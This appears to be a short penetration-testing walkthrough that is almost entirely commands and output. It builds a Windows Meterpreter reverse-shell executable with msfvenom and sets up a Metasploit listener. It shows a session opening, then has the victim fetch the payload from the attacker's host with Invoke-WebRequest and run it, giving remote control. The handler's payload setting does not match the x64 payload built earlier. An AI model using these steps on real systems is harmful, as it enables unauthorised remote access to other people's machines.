

## **Initial attack:**

1.

### **Craft reverse shell payload:**

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.x LPORT=4444 -f exe -o reverse_shell.exe
```

```
msfconsole
```

```
msf > use exploit/multi/handler
```

```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
```

```
msf exploit(handler) > set LHOST 192.168.1.10
```

```
msf exploit(handler) > set LPORT 4444
```

```
msf exploit(handler) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.10:4444
```

```
[*] Sending stage (179779 bytes) to 192.168.2.15
```

```
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.2.15:49158) at 2023-07-03 15:25:01 -0400
```

```
meterpreter >
```

### **Grabbing payload on victim:**

```
Invoke-WebRequest -Uri http://192.168.1.x:8080/reverse_shell.exe -OutFile
```

```
C:\Users\Public\reverse_shell.exe
```

**Execute the payload, and we have control now on kali linux via meterpreter**